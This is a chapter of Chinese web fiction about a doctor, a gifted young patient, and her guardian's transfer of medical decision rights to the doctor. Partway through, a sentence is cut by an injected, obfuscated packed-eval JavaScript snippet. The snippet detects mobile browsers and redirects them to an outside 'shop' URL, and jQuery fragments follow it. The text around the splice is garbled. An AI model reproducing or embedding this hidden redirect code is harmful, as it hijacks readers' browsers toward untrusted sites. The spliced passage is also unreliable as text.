安东尼带着一盒热的番茄牛腩芝士通心粉以及一份全麦餐包去敲佐伊房门的时候，还差五分钟到凌晨一点。
餐盒是从ICU楼下的手术室食堂后厨直接拿的，那地方是安东尼知道的24小时提供餐饮服务的地方之一。夜班师傅认得他，得知是带饭给佐伊，特意多舀了两块嫩牛肉，芝士铺了厚厚一层。用铝箔纸包了两道，才放进纸袋里。安东尼从停车场那条路走到疗养院，掀开铝箔的时候还在冒热气。
佐伊靠在床头看书。封面是陌生的，浅绿色的底子上印着一行法文，安东尼不认识。她难得没开电脑——这段时间一边打竞赛一边跑模型，大概真的快要看吐了。阅读灯开着，暖黄色的光照在书页上，把她的手指照得有点苍白。她换了新椅子，安东尼注意到，之前那把老旧的木头椅子不知道什么时候被换掉了，现在是一把灰白色的人体工学椅，扶手的高度刚好够她搭胳膊。
佐伊见他进来，把书合上往床头柜一放，拉过跨床桌，坐直了身子。动作一气呵成，显然等了有一阵了。
“看什么呢？”
“悲惨世界。”佐伊语气很随意，“音乐剧挺好听的，想看看原著。”
“吃吧。”安东尼把外卖盒打开，递过去。铝箔纸还有点烫手，他换了个角度，把相对不烫的那边朝向佐伊。
佐伊拿起叉子，挑起一口通心粉轻轻吹了吹，嚼了两下，咽下去，然后抬起头看了他一眼。
“你今天根本不值班。”她说，“骗我。”
安东尼没接话。他坐在床边，看着佐伊把一口牛肉送进嘴里，腮帮子鼓了一下，然后慢慢嚼。
两三个小时前查尔斯递给他的那个信封，还装在他现在穿着的这件外套口袋里。牛皮纸的，有点厚，贴着胸口那一侧，被体温捂热了。
佐伊看他没吭声，又抬头看了他一眼。鼻子皱了皱。
“喝酒了？”她说，“是查尔斯找你了。”
安东尼叹了口气。他伸出手，揉了一下这个小孩的头顶。她睡醒之后没有打理自己，头发乱糟糟的，灰色的发丝从指缝里漏出来，软软的，刚才她拿着叉子埋头往嘴里塞吃的，大约是饿狠了，嘴角粘上了一小块番茄酱，还有一点芝士，自己都没察觉。整个人看起来还有点迷迷糊糊的——但脑子已经在高速逻辑道上狂奔了。
真的是什么事情都瞒不住，或者说，很难瞒住这个小家伙。一点点细节都能被她组织出背后的剧情。深夜送饭，不值班，一点酒味，被她组织出一个唯一解。
“对，他找我了。聊了聊你小时候的事情。”安东尼递过去两张纸巾，看着佐伊擦了擦嘴角，继续埋头吃。虽然这盒通心粉还有点烫，但她的咀嚼速度比平时快，是真的饿了。费城那趟折腾下来，她大概连着好几天没正经吃过东西。
“哦。”她咽下嘴里的通心粉，舔了舔嘴唇，有点含含糊糊地说，“我小时候？没什么好玩的。我又不可爱，又不乖，不讨大人喜欢。而且还一直很麻烦，查尔斯那么忙，还要抽空管我。”
安东尼没说话。他定定地看着这个把“不把自己当回事”演绎到了某种极致的小家伙。她说最后一个短句的时候，语气里甚至带了一点微不可查的自我厌弃——这种口气安东尼很熟悉，那些还清醒着但知道自己没救的患者，也会用这样的口气对着医生说，“不治了。”
佐伊是那么平静得说出了那句话，好像是在陈述一个和自己无关的事实。她的叉子还在餐盒里搅，好像在琢磨着如何用通心粉最高效得把酱汁一点一点擦干净，然后一口塞进嘴里。
然后那个小家伙笑了笑，仰起头看了看安东尼。
“这么多年，”她说，“辛苦你了。”
那句式，和查尔斯惯用的一模一样。连停顿的位置都一样——“这么多年”后面顿一下，然后“辛苦你了”放出来，平平的，没有太多起伏，但每个字都沉甸甸的。
安东尼看着她嘴角那个笑。不是客气的笑，也不是敷衍的笑，是那种“我知道你为我做了很多，但我不知道该怎么谢你”的笑。有点笨拙，也有点认真。
“你值得一切。”安东尼说，“一点都不辛苦。”
他说这句话的时候声音很平静。但佐伊的叉子停了一下，在盘子里搁了半秒钟，然后又继续动起来，把最后一块牛腩叉起来，送进嘴里。
她没抬头。但安东尼看见她的睫毛动了一下。
餐盒见底了。芝士酱在盒底薄薄地铺了一层，她用叉子刮了刮，刮不起来，就放下了。然后她拿起餐包吃了一个，另一个放回纸袋，照例放在床头柜上。
“明天早上吃。”她嚼着最后一口面包，腮帮子还鼓着，“吃饱了。”
安东尼点了点头，帮忙把空餐盒丢进垃圾桶，“晚安了。漱个口，接着睡。正好把时差倒过来。”
“嗯，晚安。”小家伙挥了挥手。
走到门口的时候，他回头看了一眼。她坐在床上，毯子盖到腰的位置，两只手放在被面上，看着他。阅读灯的光照在她脸上，把那撮翘起来的头发照出一圈浅浅的光晕。
他走出去，把门轻轻带上。
疗养院的走廊灯已经切换了深夜模式，只有踢脚线的洗墙灯暗暗得引路。病区出入口亮堂些，值班护士坐在接待台后面看书，看到出来的人是安东尼，对着他打了个招呼，点了点头。
这一夜，安东尼几乎没有睡着。可能是一点酒精的作用让神经难以安静，可能是那场长谈搅乱了思绪，也有可能是那个信封的边角，直直戳进了心里。
第二天一早，安东尼去查尔斯办公室，把签好字的文件递了过去。
查尔斯接过来，翻了翻，看到最后一页上的签名。然后他把文件收回信封里，放回桌上，看着安东尼。
“你找她谈，还是我找？”他问，口气像在讨论一个商业决策。
“还是你说吧。”安东尼叹了口气，“你只是移交了医疗决策权，不是移交了监护权。”
查尔斯没说话。他低头看着桌上那个牛皮纸信封，手指在封口上按了一下，把它按平了。
“好。”他说，“我找她谈。”
日子很快平顺地过了下去。
安东尼不知道查尔斯什么时候找佐伊谈的，也不知道怎么谈的。也许只是查尔斯给她发了一条短信。然后佐伊回复一个：好。
她的行为模式几乎都看不出区别，还是喜欢整天窝在安东尼的办公室里写脚本，刷病例，复核参数。吃安东尼准备好的巧克力和棒棒糖。
但是，Beacon Care没有接入技术中心后台的网络，佐伊在跑的模型需要技术中心的算力支撑，医院网络和技术中心那头，硬件上物理隔离了。所以安东尼的沙发，佐伊有时候就坐不住了。
她开始频繁地往集团主楼跑。上午在安东尼这儿待一会儿，下午就抱着电脑，穿过马路，走半个街区去技术中心。大部分时候，晚饭时间都未必能回疗养院。安东尼桌上的糖罐子空得慢了，棒棒糖的消耗速度从一天两三支降到了一天一支。
查尔斯给佐伊在行政楼弄了个工作室，在1
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401659|200420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
9层，和Jotish的工作室隔了两扇门，出门转两个弯就是核心机房。安东尼被佐伊带着去看过一次，工作室挺舒适，不过窗户不大，勉强能看到泰晤士河。桌上摆着她的电脑，外接了三个显示器，一侧墙面是满墙书架，已经有一些格子被她疗养院时期看的医药书占满，另有一些塞着安东尼看不懂的东西，什么系统构架，什么编程语言，放在一起都是单词，连起来不知道是什么意思。另有一面墙上贴着她手写的日程表，和疗养院那间房里的一模一样，只是内容换了——模型调试、硬件测试、联调协调会、文献阅读、联系某某导师、与某某实验室沟通，排得整整齐齐。
疗养院里那个人体工程学椅也搬过来了，书架边甚至还架了一个单人小床，有条毯子，床上还堆着一大摞大概是蓝图的东西，上面的线条和出图章看得安东尼眼晕。佐伊以现在的身高，躺上去还勉勉强强。如果是安东尼，蜷在上面腿都伸不直。
“你准备睡这儿？！”安东尼第一次看到的时候有点惊讶，他在值班室里住过好些年，也都没那么苛待自己的。
“有时候跑数据要几个小时，这椅子也能睡，但是没法放平。又不想回疗养院。这能躺一下就可以了。”佐伊满不在乎的把图纸往边上搬了搬，给自己腾出来一点容身的空间，然后一屁股坐在床沿。“挺舒服的。”
后来，听说这件事的查尔斯给佐伊安排了一个公寓套间，在27楼，从工作室坐电梯上去只要三分钟。这一整层都是集团提供给高管的休息室，方便他们谈私事，倒时差，也有人偶尔通宵的时候来这里休息，平时没什么人。不过这里的物业管理得很不错。
但佐伊依然没有收起自己的小床，她自己说，一个阶段工作没结束的时候，没法离开工作室。
公寓套间像酒店套房，不是很大，但够住。玄关有两道门，最外侧那道门物业可以刷开，方便带走生活垃圾及脏衣篮里的换洗衣物。
再往里走，除了卧室和洗漱间，还有个小客厅，连着一个简单的厨房操作台，有水池、电磁炉和微波炉。小冰箱还空着，整箱的代餐奶昔放在茶几边上。窗台上放着那个南瓜骷髅，已经彻底风干了，颜色从橘色变成了深褐色，皱巴巴的，但还放在那里。
不管怎么说，这终于不是佐伊“临时”的住处了。是一个真的属于她自己的地方。
佐伊也有了新的工牌。白底，左上角印着Beacon的标识，中间是她的名字：Zoey Prince。职位是系统架构师——Jotish亲自批的特招。
照片大概是在行政楼大堂找了个白背景随便拍的，头发扎得很整齐，表情很平静，嘴角微微翘着，看起来像一个小号的尤兰达。至于她工牌绑定的通行权限，大概只有查尔斯和佐伊自己知道。
疗养院的那一间长期病房，终于退了。
佐伊搬家那天，安东尼刚好休假。等他再回到ICU的值班室，发现桌上多了个留言条。
是从拍纸本上撕下来的，边缘有点毛。字迹很熟悉，工工整整的，一笔一画，像是怕他看不清，每个字母都写得很端正。
“我搬家了。行政楼2709。你的工牌权限已赋值。”
没有落款。但他认得那个字。
安东尼把留言条拿起来，看了一会儿，折好，放进了白大褂的口袋里。
他低头看了看自己的工牌。还是原来那张，照片是刚来那年拍的，表情比现在愣一点，看起来好像什么都没变。
但他知道，从今天起，他可以刷卡去27楼了。